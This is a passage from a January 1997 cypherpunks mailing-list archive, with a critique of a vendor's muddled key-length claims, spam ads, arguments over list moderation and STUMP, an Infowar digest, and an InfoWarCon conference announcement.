> Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ!
> Homepage:www.geocities.com/~pentiumru/icehtml.htm
> We Are THE BEST!!
> So Check us OUT!
who are these dorks? they're either wannabes or feds... I think they're
morons regardless... ...cheesiest page in history awaits!


crunch




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: proff@suburbia.net
Date: Sun, 12 Jan 1997 01:11:32 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: IMDMP 8192 PKCS and IMDMP Summary
Message-ID: <19970112091106.18965.qmail@suburbia.net>
MIME-Version: 1.0
Content-Type: text/plain


Ok. I admit it. It is beneath me, but how could I resist such temptation?


> Hi,
> 
[..]
> cryptosystem method. The future versions will also support multi-party key
> integration features, four platform independent random number generator
			^^^^^^^^^^^^^^^^^^^^^^^^^(1)

> algorithms, as well as 1024 (8192 bit) keys. Note that the current version of
                         ^^^^^^^^^^^^^^^(2)
> IMDMP only allows 256 byte (1024) bit keys. The current shareware version and
                    ^^^^^^^^^^^^^^^^^^^(3)
> the future shareware version of UDCM will still only allow 5 byte (40 bit)
                                                             ^^^^^^^^^^^^^^(4)
> keys so as to comply with ITAR unless a key recovery infrastructure is
                ^^^^^^^^^^^^^^^(5)
[..]
> partially detailed summary of the IMDMP is now included in VENDOR.DOC file of
> the UDCM V2.0 software package / archive. UDCM V2.0 was modified to restrict
> keys to 50 bits so as to comply with the latest ITAR details. The extensively
          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^(6)
> confusing exportation restrictions sections of UDCM's documentation were
> modified as well.
> 
> methods are not too comparable to PKCS methods. What I was referring to when
> I said IMDMP is more advanced than RSA, etc. is the actual encryption
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^(7)
> procedure itself, not the way keys are secured. Again, irrashional claims
                                                         ^^^^^^^^^^^(8)
[..]
> AND-ing algorithm without trying it first. I find it extremely hard to
> believe that the celebrated creator(s) of Blowfish, IDEA, etc. had to go
> through all of this ritualistic screening complexity too. (Please do correct
> me if I am wrong.)
^^^^^^^^^^^^^^^^^^^^(9)

> 
> (For the record: DataET Research's promotional agent has been fired.)
                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^(10)
> Thank you very much for your time.
> 
> Jeremy K. Yu-Ramos
> President
> DataET Research
> Data Engineering Technologies
> 

Eww.

(1)     Not possible, you need real-world entropy. Sadly, there is
	yet there is no platform independent way to efficiently
	collect it.

(2)     For symmetric ciphers, keylengths over 128 bits do not gain
	you anything - unless the cipher is poorly written and does
	not use all of its keyspace or leaks bits of the keyspace
	into the ciphertext. 2^128 is such an immense number that
	short of a fundamental change in complexity theory, exhaustive
	keysearching a 2^128 keyspace will never be a possible
	attack scenario, regardless of increases in computation
	speed.

(3)	"256 byte (1024) bit keys". Hmm. 256 x 8 = 2048

(4)	"5 byte (40 bit) keys". 5 x 8 = 40 and

(5)	Says (4) is to comply with ITAR. But...

(6)	"50 bits so as to comply with the latest ITAR details."

(7)	Find the oxymoron.

(8)	You're wrong.

(9)	That "irrashional" spelling, at it again.

(10)	Then why is he still writing?

-J




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geo2@usa.net
Date: Sun, 12 Jan 1997 21:40:05 -0800 (PST)
To: geo2@usa.net
Subject: Checking debit
Message-ID: <199701130446.UAA13794@ns2.accesscom.com>
MIME-Version: 1.0
Content-Type: text/plain


DEBIT YOUR CUSTOMERS' CHECKING ACCOUNTS ... COLLECT CHECK PAYMENTS FROM YOUR
WEB PAGE, OVER THE PHONE, OR AS AN AUTOMATIC MONTHLY DEBIT!

Close sales at your Web site, close telephone sales immediately, ship
merchandise immediately(!) ...by drafting the customer's checking account.  

No more waiting in vain for "checks in the mail."  This service increases
your cash flow, and reduces the cost of billing, mailing, bookkeeping, and
collections associated with your customers who pay by check...for far less
than the cost of accepting credit cards! 

For more information about this new service, please click "reply" to respond
to me at geo2@usa.net.

Best wishes,

-George





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 12 Jan 1997 20:18:47 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Igor asks what these examples prove...
In-Reply-To: <4P2F1D1w165w@bwalk.dm.com>
Message-ID: <199701130415.WAA11189@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Quite honestly, I was grossly pissed off with Smirnov's post
as well. It was not the smartest post of his.

But you are not banned from posting, and do post (which is
nice actually).

I do apologize for this yesterday's message in scrm.

	- Igor.

Dr.Dimitri Vulis KOTM wrote:
> 
> Here's another article from s.c.r.m where one of the moderators
> verbally abuses a person banned from posting in that forum (myself :-).
> The gratuitous abuse is totally off-topic and has no connection to the
> flame thread it's in.
> 
> That's what the lying cocksucker John Gilmore wants to be able to do
> on his private mailing list - to post more lies which the victims of
> his libel will not be allowed to refute.
> 
> ]X-SCRM-Policy: http://www.algebra.com/~ichudov/usenet/scrm/index.html
> ]X-SCRM-Info-1: Send submissions to             scrm@algebra.com
> ]X-SCRM-Info-2: Send technical complaints to    scrm-admin@algebra.com
> ]X-SCRM-Info-3: Send complaints about policy to scrm-board@algebra.com
> ]X-Comment: moderators do not necessarily agree or disagree with this article.
> ]X-Robomod-Version: STUMP 1.1, by ichudov@algebra.com (Igor Chudov)
> ]Date: Sun, 12 Jan 1997 05:27:03 CST
> ]From: vladimir@chinook.physics.utoronto.ca (Vladimir Smirnov)
> ]Message-ID: <199701121028.FAA06007@chinook.physics.utoronto.ca>
> ]Subject: Re: Russian diplomats are pigs
> ]Newsgroups: soc.culture.russian.moderated
> ]X-Auth: PGPMoose V1.1 PGP soc.culture.russian.moderated
> ]
> ]rqk10@oes.amdahl.com (Roman Kostin) wrote:
> ]>   Po suschestvu, govorish'? Ya sejchas tebe skazhu po suschestvu.
> ]>
> ]>   Tvoj kommentarij byl tsinichen, tup i beschelovechen. I kogda
> ]>   tebe na eto ukazyvayut, tebe sleduet izvinit'sya i zatknut'sya,
> ]>   a ne ogryzat'sya kak shavka.
> ]
> ]   Narod, ja vas ubeditel'no proshu ne ustraivat' gryznju v
> ]moderiruemoj newsgruppe. Kommentarij u Sashi, konechno, byl
> ]tak sebe, no sobak na nego naveshali po polnoj programme,
> ]kak budto on dejstvitel'no uzh chego-to takoe skazal.
> ]Idi von (eto Kostinu) Dr. D.V.Ulissa popinaj, esli principial'nost'
> ]v golovu udarila. Ili stremno?
> ]
> ]- Smirnov
> ]
> ]
> ]
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 12 Jan 1997 20:23:00 -0800 (PST)
To: paul.elliott@hrnowl.lonestar.org (Paul Elliott)
Subject: Re: STUMP
In-Reply-To: <32d96d3c.flight@flight.hrnowl.lonestar.org>
Message-ID: <199701130416.WAA11229@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Paul Elliott wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> Not too long ago, I attempted to post a PGP signed
> message to a STUMP moderated newsgroup. Even though
> the moderators approved my post, it never arrived
> because of sme technical problem with PGP and STUMP.
> The people running the newsgroup never could figure
> out what went wrong, and my post never made it
> in spite of the best efforts of those running the newsgroup.
> 
> I advise caution with STUMP.

The moderators most likely did not set one of the options correctly
(STUMP_PARANOID_PGP should be set to NO for all newsgroups with 
crypto-ignorant readership).

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Betty G. O'Hearn" <betty@infowar.com>
Date: Sun, 12 Jan 1997 19:32:51 -0800 (PST)
To: infowar@infowar.com
Subject: Infowar Digest Volume 02: Number 01
Message-ID: <1.5.4.32.19970113031836.00b12914@mail.infowar.com>
MIME-Version: 1.0
Content-Type: text/plain


                               We thank our sponsors:

Internet Security Solutions
New Dimensions International - Security Training
HOMECOM Communications
National Computer Security Association
OPEN SOURCE SOLUTIONS, Inc.
__________________________________________________
Infowar@infowar.com is brought to you in the  the interest of an open, unclassified exchange of information and ideas as a means for advancement of Information Warfare related issues.   Topics of discussion for this list include:  Infowar, Electronic Civil Defense, Hacking, Defensive Techniques, Policy, Non-Lethals, Psyops, Chemical Warfare Agents and WMD. 

As the list expands we will adapt to the needs and desires of our subscribers. 

This is a MODERATED DIGEST format.
__________________________________________________________
Infowar                  Sunday, January 12, 1997        Volume 02: Number 01

RE:  Call for Anecdotes
RE:  The Media and Information Warfare
RE:  British PsyOps
RE:  Futuristic Battlefield
RE:  IWAR Journal
RE:  Discussion Forums Open
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To: infowar@infowar.com
From: Jules Siegel <jsiegel@mail.caribe.net.mx>
Subject: Call for anecdotes
Date: Fri, 5 Jan 1996 17:17:32 -0600

CALL FOR ANECDOTES

I need your help. I'm a writer. My work has appeared in Playboy, Esquire,
Rolling Stone, Best American Short Stories. You can examine my credentials
at http://www.caribe.net.mx/siegel/jsiegel.htm

I am currently researching the following article for American Reporter:

The End of Privacy

When the chief operating officer of a major telephone company can't keep his
unlisted telephone number secret, you know the battle for personal privacy
is pretty much lost. New York magazine found the address of reclusive
novelist Thomas Pynchon through an on-line credit-card checking service in
two minutes. Encrypting messages attracts attention and no secret remains
secret very long when hackers with the skills of con men trick the
unsuspecting into revealing passwords. So what would a world without privacy
be like? Maybe it's not all 1984 -- honesty could be another by-product.

I wonder if anyone might want to share:

[1] Any unusually biting anecdotes that would fit the theme above?

[2] Other sources of similar information?

[3] Quotable opinions?

I'm basically interested in personal opinions and experiences. Example: I
received a reply from a writer who had been the subject of a searching
expose and came out of it feeling liberated of her secrets.

I think that as a practical matter privacy no longer exists, if it ever did.
I think it's an illusion created by industrialism. Only hermits had privacy
in the past. As we pass into the next phase of social evolution, I believe
that our constructs will resemble animism -- that is they will be living or
life-like, soft rather than hard, transparent rather than opaque.

Today, the cost of maintaining secrets is beginning to outweigh the value.
Yet we're still addicted to this illusion. What would a genuinely
transparent world be like to those used to living behind masks?

I'm also interested in comments on the following:

[4] Electronic surveillance 

In last November's PC Computing, John Dvorak claimed that government
intelligence agencies had set up remail services in order to check on people
using them. In a private letter I received, a very sane but prudent
journalist working for a mainstream newspaper cited fears of e-mail being
read by intelligence agencies as a reason for not telling me something he
had on his mind.

Questions: What do we know about this sort of thing? What do are we doing
about it?

[5] Spying in the newsroom

Earlier this year, The Miami Herald's Jim Hampton came out strongly against
the CIA using reporters as spies in foreign country. What about in the
United States? I have received information on more than one occasion about
journalists on the payroll of intelligence and/or police agencies spying on
their colleagues, as well as making trouble for specific targets, and
helping squelch certain themes, among other activities.

Question: Do publications tolerate this? Cooperate fully? If not, how do
they handle these cases when they become aware of them?

[6] Blacklisting

The existence of black lists was very well documented in the wake of the
McCarthy era. I'm sure we have good reason to believe that they still exist.

Questions: Do electronic editorial black lists exist? Other fields? How do
they work? How does a victim get off a black list?

All replies will be fully attributed and I will send a checking copy of the
final draft to anyone whose anecdote I use.

Many thanks for your interest and cooperation.

Jules Siegel http://www.caribe.net.mx/siegel/jsiegel.htm
>From USA: http://www.yucatanweb.com/siegel/jsiegel.htm
Mail: Apdo. 1764 Cancun QR 77501 Mexico
Tel: 011-52-98 87-49-18 Fax 87-49-13 E-mail: jsiegel@mail.caribe.net.mx
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To: Infowar@infowar.com
From: Daigle166@aol.com 
Subject: The Media and Information Warfare
Date: Tue, 26 Nov 1996 22:14:59 +0000
Message-Id: <22145965403068@infowar.com>

Hi,
     I am currently working on a thesis paper concerned with the subject of
information warfare as it relates to the media.  Specifically, my research
question is:

"Is it morally and ethically acceptable for military commanders and staff
members to purposely mislead the media for the purpose of tactical deception
and information warfare against one's enemies?"

I will obviously be taking a look at both sides of this issue and would
appreciate any information you may have on the subject.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~      To: "Winn Schwartau" <winn@infowar.com>
Cc:  Infowar@infowar.com
Date: Tue, 7 Jan 1997 07:53:57 +0000
From: Maobrien95@aol.com

I'm looking for books that would detail British PsychOps, especially its 
use in Northern Ireland. Thank you very much for your time.My e-mail:
Maobrien95@aol.com      Respectfully, Frank O'Brien
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To: "Betty G. O'Hearn" <betty@infowar.com>
From: "Michael H. Sedge" <pp10013@cybernet.it>
Subject: Futuristic Battlefields
Date: Sat, 28 Dec 1996 12:56:54 +0100

Dear Betty,

Thanks in part to the input you provided and the quotes obtained through
your resources, I was able to produce a feature on Cyber Warfare that will appear in the February issue of ARMED FORCES JOURNAL INTERNATIONAL, and perhaps other publications around the world.

I am now working on a story which takes a look at the FUTURISTIC
BATTLEFIELD and seek experts for quotes, insight, products, etc. Such things as robotic soldiers and unmanned aircraft will be discussed, as well as warfare controlled from romote sites.

Any help, leads, manufacturers, etc., that you could provide would be
helpful.

Best regards & Happy New Year.

Sincerely,

Michael H. Sedge
ARMED FORCES JOURNAL INTERNATIONAL
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Date: Sun, 12 Jan 1997 21:29:26 -0500
To: infowar@infowar.com
From: "Betty G. O'Hearn" <betty@infowar.com>
Subject: IWAR Journal.

The Journal of IWAR Intelligence Acquisition - is now being made available at
http://www.iwar.org/.

This journal is published by William Church, a distinquished journalist in the field. Current Issue: Spring 1997: Information Warfare Threat Model.
           Articles by Michael Wilson, Robert Steele, Philip H.J. Davies, Special
           Report on the IPTF, and an interview with Winn Schwartau. 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 To: Infowar@infowar.com
From: "Betty G. O'Hearn" <betty@infowar.com>
Subject: Discussion Forums Open

On Monday, January 13, 1997 WWW.InfoWar.Com will begin hosting a series of 
discussion forums, available to anyone on the Internet. Everyone who logs onto 
the forums will also be provided with a mini-home-page (for free!) so other 
participants may get to know with whom they are interacting.

The discussion forums may be accessed from the Infowar.Com Home Page by clicking on the "Digest, Discussion & Chat Groups" icon.  

The forum moderators will be:

Moderator                                                 Topic           

Winn Schwartau			Information Warfare and 
President, Interpact, Inc.	                Electronic Civil Defense

Carolyn Meinel                                          Hackers/Hacking
Publisher of Happy Hacker Digest

Matthew Devost                                        Terrorism
Systems Engineer, SAIC

William Church                                         IWAR
Publisher of The Journal of IWAR Intelligence Acquisition 

Scott Brower                                             EBR  Electronic Bill of Rights/Privacy
Executive Director, Electronic  Frontiers Florida

Robert Steele                                            OSSINT        
President OPEN SOURCE SOLUTIONS, Inc.

Unmoderated                     Viruses

Unmoderated                     Infosec

We welcome this distinguished group of moderators and encourage you to 
participate in these forums. Sign in and start posting!  

Have an idea for a new discussion forum?  Want to be a moderator?  Contact 
betty@infowar.com.

_______________________________:)

InfoWar.Com will also be introducing several hundred  "chat" lines in the coming 
weeks. 

Keep contributing..... keep up your input.  We are introducing these new 
modules that you have requested.  

Thanks for all of your invaluable support.

Winn Schwartau and the incomparable staff at 
www.infowar.com

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
END  Infowar Volume 2 No. 1  January 12, 1997
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
DIRECT REQUESTS to:    list@infowar.com with one-line in the BODY, NOT
in the subject line.

Subscribe infowar        TO JOIN GROUP
Unsubscribe infowar    TO LEAVE GROUP
Help infowar               TO RECEIVE HELP 
TO POST A MESSAGE:  E-Mail to   infowar@infowar.com  
_____________________________________________________
Infowar.Com
Interpact, Inc.
Winn Schwartau
winn@infowar.com
http://www.infowar.com
813-393-6600  Voice
813-393-6361  FAX

Sponsor Opportunities/Comments/Help

Betty G. O'Hearn
Assistant to Winn Schwartau
http://www.infowar.com
betty@infowar.com
813-367-7277  Voice
813-363-7277  FAX





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Pass me another!" <spanky@europa.com>
Date: Sun, 12 Jan 1997 22:23:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: RSA over Rubics cube?
In-Reply-To: <199701111858.KAA09264@miron.vip.best.com>
Message-ID: <32D9D750.7053@europa.com>
MIME-Version: 1.0
Content-Type: text/plain


cypherpunks@toad.com wrote:
> 
> Just for fun, not that I am sugesting it as a serious encryption
> method, but has anyone tried exponetion cyphers on the group
> defined by the Rubics cube? :)

well....I guess you didn't want a reply to your real email address,
considering you'd be flamed like a 'mother$##@*(%'.  anyways....Just so
YOU know I figured out the infamous Rubik's cube when I was 9 years
old...no solution book, nothing, and beat the world record(ooooo what an
accomplishment).  I just figured it out...so if I was 9.........geee 
what do you think?  I could sit down and give you the mathmatical<sp>
computations...but I have better things to do.  I hope your just trying
to have a better understanding of cryptography standards, and future
methods.  Maybe reading some information on algorithms....that might
help....maybe calc 101  or ignorant 111..or jeez...do you even know
binary?

-spanky




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sun, 12 Jan 1997 22:41:46 -0800 (PST)
To: gbroiles@netbox.com (Greg Broiles)
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <3.0.32.19970111003625.0069d61c@mail.io.com>
Message-ID: <v03007807aeff873e6d22@[199.35.223.198]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:10 AM -0800 1/11/97, Igor Chudov @ home wrote:
>We should all understand that forgeries in the names of preapproved
>people are only a SYMPTOM of a problem, not a problem in and of itself.
>The true problem in such case would be that the forgers feel that they
>are treated unfairly by moderators. Such people may think that the
>purpose of moderation is to get rid of their persons altogether.
>
>Therefore, if moderators face a problem of forgeries and perceive a need
>to turn this authentication option on, they should step back and this
>what THEY did wrong. Did they give the forgers an impression that
>moderators want to silence them? Do they treat everyone, including the
>former "problem" people, fairly and equally?

Igor, I must disagree with you in detail.  I believe that some of the
problem this list is experiencing is because one or more people wish to
destroy it.  They are attempting to fill this list with so much junk that
all the people who read it will go elsewhere.  In the recent past, they
have subscribed it to other high-volume mailing lists, and given its
address to direct marketers as a "person" interested in sales pitches.
Perhaps these people already feel they are being treated unfairly by the
management of the unmoderated list.

These people will be perfectly happy to forge the names of preapproved
posters to further their attack.  While I suggest that, if we have
preapproved posters, we should try it first without digital signatures, I
predict that forgeries will be used to get around this policy.

I note in passing that at least one person has threatened to, "KILL
cypherpunks !!!".


-------------------------------------------------------------------------
Bill Frantz       | Client in California, POP3 | Periwinkle -- Consulting
(408)356-8506     | in Pittsburgh, Packets in  | 16345 Englewood Ave.
frantz@netcom.com | Pakistan. - me             | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Elliott <paul.elliott@hrnowl.lonestar.org>
Date: Sun, 12 Jan 1997 17:31:46 -0800 (PST)
To: cypherpunks@toad.com (cypherpunks mailing list)
Subject: STUMP
Message-ID: <32d96d3c.flight@flight.hrnowl.lonestar.org>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Not too long ago, I attempted to post a PGP signed
message to a STUMP moderated newsgroup. Even though
the moderators approved my post, it never arrived
because of sme technical problem with PGP and STUMP.
The people running the newsgroup never could figure
out what went wrong, and my post never made it
in spite of the best efforts of those running the newsgroup.

I advise caution with STUMP.
- -- 
Paul Elliott                                  Telephone: 1-713-781-4543
Paul.Elliott@hrnowl.lonestar.org              Address:   3987 South Gessner #224
                                              Houston Texas 77063

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: cp850

iQCVAgUBMtltLvBUQYbUhJh5AQGHiQP9GBOikHp+trnA6C8v9xjJA/zadXlY8sde
B48dOdMX47pougoYeUyTOcDRRJ3y/2FWnTfjNbiT/oFXm8R+vLtFEhD8baULjUfd
eqv+rvOrkNLajI61Io4Jfc8cOc0Yyhc7A5tZHvxuKbEK0Hv9F7tOehksrFjhHdGQ
VwmgcqGa6RM=
=22bZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Betty G. O'Hearn" <betty@infowar.com>
Date: Sun, 12 Jan 1997 20:04:38 -0800 (PST)
To: infowar@infowar.com
Subject: InfoWarCon6 - Brussels, Belgium
Message-ID: <1.5.4.32.19970113041116.00b22ca4@mail.infowar.com>
MIME-Version: 1.0
Content-Type: text/plain



                                D I S T R I B U T E  W I D E L Y 

                               CONFERENCE ANNOUNCEMENT

InfoWarCon 6:
"War By Other Means"
Economic Espionage, CyberTerrorism and Information Assurance
Brussels, Belgium

May 8 - 9, 1997
Pre-Conference Tutorials: May 7, 1996

Sponsored by:
National Computer Security Association /  www.ncsa.com
Winn Schwartau, Interpact, Inc. /  www.infowar.com
Open Source Solutions, Inc, / www.oss.net

Honorary Chairperson:
Judge Danielle Cailloux
Investigating Magistrate,
Member of the Committee to Control the Intelligence Services, Belgium

Information Warfare is no longer just for the military or government. InfoWar is a legitimate concern for the private sector and law enforcement - everywhere. Hundreds of representatives from over thirty countries will interact at
InfoWarCon 6 with world-class presenters in an open-source, unclassified forum to provide workable, real-world solutions to the commercial, legal and technical problems we face.

Over two days, the three tracks and plenary sessions will focus on:

1. Military, Intelligence, Nation-States and Government Contractors. What are their special needs and concerns. Leaders from all areas will bring you current with their
approaches.

2. Cyberterrorism and Crime: Law Enforcement, Domestic, National and International. Case histories and experience from those who know will provide the foundation for solutions and cooperation to a spreading problem.

3. The Private Sector and Commercial Infrastructure: Leading experts on information assurance will provide new models for security, management and infrastructure
protection.


Optional Pre-Conference Tutorials (May 7)
>
Three Pre-Conference tutorials will be offered to get the non-technical manager, law enforcement or government representative 'up to speed' on InfoWar:
>
>A. Open Source Intelligence. Robert Steele, ex-CIA case officer and intelligence professional, will teach you how and why the smart nation and competitive private company needs to use information gathering to his best advantage.
A full day of extraordinary information and materials.
>
B. Information Security Basics. Dr. Mich Kabay, NCSA's Dir. of Education will take the non-technical manager on a three and one half hour tour of the fundamentals of 
information security. Essential knowledge for anyone involved with information warfare, cyberterrorism or defending against them.

C. The Basics of Information Warfare and Cyberterrorism.Winn Schwartau, the man who wrote the books on Cyber-terrorism and Information Warfare, will teach the
>non-technical participant the ins and outs in a fascinating 3 1/2 hour session.


>For Registration Information
>     Kim Imler
>     Voice:	(717) 241-3226
>     Fax:	(717) 243-8642
>     Email:	kimler@ncsa.com
>     WWW:	www.Infowar.com
>		www.ncsa.com
>
>Sponsorship Opportunities - Multiple level sponsorship
>opportunities and exhibit space is available.  Contact:
>     Harry Brittain
>     Voice:	(717) 241-3258
>     Fax:		(717) 243-8642
>     Email:	hbrittain@ncsa.com
>
>MARK YOUR CALENDARS:
>
>InfoWarCon 7,
>Sept. 11-12, 1997
>Washington D.C.
>Submit Abstracts and Papers to:
>Betty@infowar.com

DIRECT REQUESTS to:    list@infowar.com with one-line in the BODY, NOT
in the subject line.

Subscribe infowar        TO JOIN GROUP
Unsubscribe infowar    TO LEAVE GROUP
Help infowar               TO RECEIVE HELP 
TO POST A MESSAGE:  E-Mail to   infowar@infowar.com  
_____________________________________________________
Infowar.Com
Interpact, Inc.
Winn Schwartau
winn@infowar.com
http://www.infowar.com
813-393-6600  Voice
813-393-6361  FAX

Sponsor Opportunities/Comments/Help

Betty G. O'Hearn
Assistant to Winn Schwartau
http://www.infowar.com
betty@infowar.com
813-367-7277  Voice
813-363-7277  FAX

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Betty G. O'Hearn	Assistant to Winn Schwartau
	http://www.infowar.com
	betty@infowar.com
813-367-7277  Voice   813-363-7277   Data/FAX

"Success is to be measured not so much by the position that one has reached in life as by the obstacles which he has overcome while trying to succeed.  ~~~Booker T. Washington~~~


 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Internaut <unde0275@frank.mtsu.edu>
Date: Sun, 12 Jan 1997 21:55:10 -0800 (PST)
Subject: sad
Message-ID: <01BC00E3.C880ED40@s04-pm06.tnstate.campus.mci.net>
MIME-Version: 1.0
Content-Type: text/plain


I am sad that all the spam from companies will be gone soon.  I enjoy 
thinking that perhaps 10% (or ~120) of the Cypherpunks along with me hit 
the reply button and type "remove" giving them a great return for their 
investment (pun intended :).


----------
From: 	PS[SMTP:pstone@lightspeed.bc.ca]
Sent: 	Sunday, January 12, 1997 02.59 PM
To: 	pstone@lightspeed.bc.ca
Subject: 	Saw your post

Hi there!  I saw your post the other day and thought
you might be interested in a decent offer on
some excellent information.



Start an excellent home business today!!!

For a brochure that outlines

THE TEN BEST OPPORTUNITES IN BUSINESS TODAY

send me a self-addressed, stamped envelope.


Mail to  :

M.K. Press
1310 W.67th Ave.
Vancouver. B.C. Canada
V6P 2T4
Please write "Offer # 4322" by hand on the envelope to me.




Never want to hear from me again? Simple.
Hit reply, put <REMOVE> in the Subject field,
and send it on back.. Thanks.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Pass me another!" <spanky@europa.com>
Date: Mon, 13 Jan 1997 00:00:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: BoS:  InfoWarCon6 - Brussels, Belgium
In-Reply-To: <1.5.4.32.19970113041116.00b22ca4@mail.infowar.com>
Message-ID: <32D9EE1D.6450@europa.com>
MIME-Version: 1.0
Content-Type: text/plain


Betty G. O'Hearn wrote:
> 
>                                 D I S T R I B U T E  W I D E L Y
> 
>                                CONFERENCE ANNOUNCEMENT
> 
> InfoWarCon 6:
> "War By Other Means"
> Economic Espionage, CyberTerrorism and Information Assurance
> Brussels, Belgium
> 
> May 8 - 9, 1997
> Pre-Conference Tutorials: May 7, 1996
> 
> Sponsored by:
> National Computer Security Association /  www.ncsa.com
> Winn Schwartau, Interpact, Inc. /  www.infowar.com
> Open Source Solutions, Inc, / www.oss.net
> 
> Honorary Chairperson:
> Judge Danielle Cailloux
> Investigating Magistrate,
> Member of the Committee to Control the Intelligence Services, Belgium
> 
> Information Warfare is no longer just for the military or government. InfoWar is a legitimate concern for the private sector and law enforcement - everywhere. Hundreds of representatives from over thirty countries will interact at
> InfoWarCon 6 with world-class presenters in an open-source, unclassified forum to provide workable, real-world solutions to the commercial, legal and technical problems we face.
> 
> Over two days, the three tracks and plenary sessions will focus on:
> 
> 1. Military, Intelligence, Nation-States and Government Contractors. What are their special needs and concerns. Leaders from all areas will bring you current with their
> approaches.
> 
> 2. Cyberterrorism and Crime: Law Enforcement, Domestic, National and International. Case histories and experience from those who know will provide the foundation for solutions and cooperation to a spreading problem.
> 
> 3. The Private Sector and Commercial Infrastructure: Leading experts on information assurance will provide new models for security, management and infrastructure
> protection.
> 
> Optional Pre-Conference Tutorials (May 7)
> >
> Three Pre-Conference tutorials will be offered to get the non-technical manager, law enforcement or government representative 'up to speed' on InfoWar:
> >
> >A. Open Source Intelligence. Robert Steele, ex-CIA case officer and intelligence professional, will teach you how and why the smart nation and competitive private company needs to use information gathering to his best advantage.
> A full day of extraordinary information and materials.
> >
> B. Information Security Basics. Dr. Mich Kabay, NCSA's Dir. of Education will take the non-technical manager on a three and one half hour tour of the fundamentals of
> information security. Essential knowledge for anyone involved with information warfare, cyberterrorism or defending against them.
> 
> C. The Basics of Information Warfare and Cyberterrorism.Winn Schwartau, the man who wrote the books on Cyber-terrorism and Information Warfare, will teach the
> >non-technical participant the ins and outs in a fascinating 3 1/2 hour session.
> 
> >For Registration Information
> >     Kim Imler
> >     Voice:    (717) 241-3226
> >     Fax:      (717) 243-8642
> >     Email:    kimler@ncsa.com
> >     WWW:      www.Infowar.com
> >               www.ncsa.com
> >
> >Sponsorship Opportunities - Multiple level sponsorship
> >opportunities and exhibit space is available.  Contact:
> >     Harry Brittain
> >     Voice:    (717) 241-3258
> >     Fax:              (717) 243-8642
> >     Email:    hbrittain@ncsa.com
> >
> >MARK YOUR CALENDARS:
> >
> >InfoWarCon 7,
> >Sept. 11-12, 1997
> >Washington D.C.
> >Submit Abstracts and Papers to:
> >Betty@infowar.com
> 
> DIRECT REQUESTS to:    list@infowar.com with one-line in the BODY, NOT
> in the subject line.
> 
> Subscribe infowar        TO JOIN GROUP
> Unsubscribe infowar    TO LEAVE GROUP
> Help infowar               TO RECEIVE HELP
> TO POST A MESSAGE:  E-Mail to   infowar@infowar.com
> _____________________________________________________
> Infowar.Com
> Interpact, Inc.
> Winn Schwartau
> winn@infowar.com
> http://www.infowar.com
> 813-393-6600  Voice
> 813-393-6361  FAX
> 
> Sponsor Opportunities/Comments/Help
> 
> Betty G. O'Hearn
> Assistant to Winn Schwartau
> http://www.infowar.com
> betty@infowar.com
> 813-367-7277  Voice
> 813-363-7277  FAX
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> Betty G. O'Hearn        Assistant to Winn Schwartau
>         http://www.infowar.com
>         betty@infowar.com
> 813-367-7277  Voice   813-363-7277   Data/FAX
> 
> "Success is to be measured not so much by the position that one has reached in life as by the obstacles which he has overcome while trying to succeed.  ~~~Booker T. Washington~~~
> 
> 


Freedomistsssss....beware.  Get involved.

Or we lose!

-spanky




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
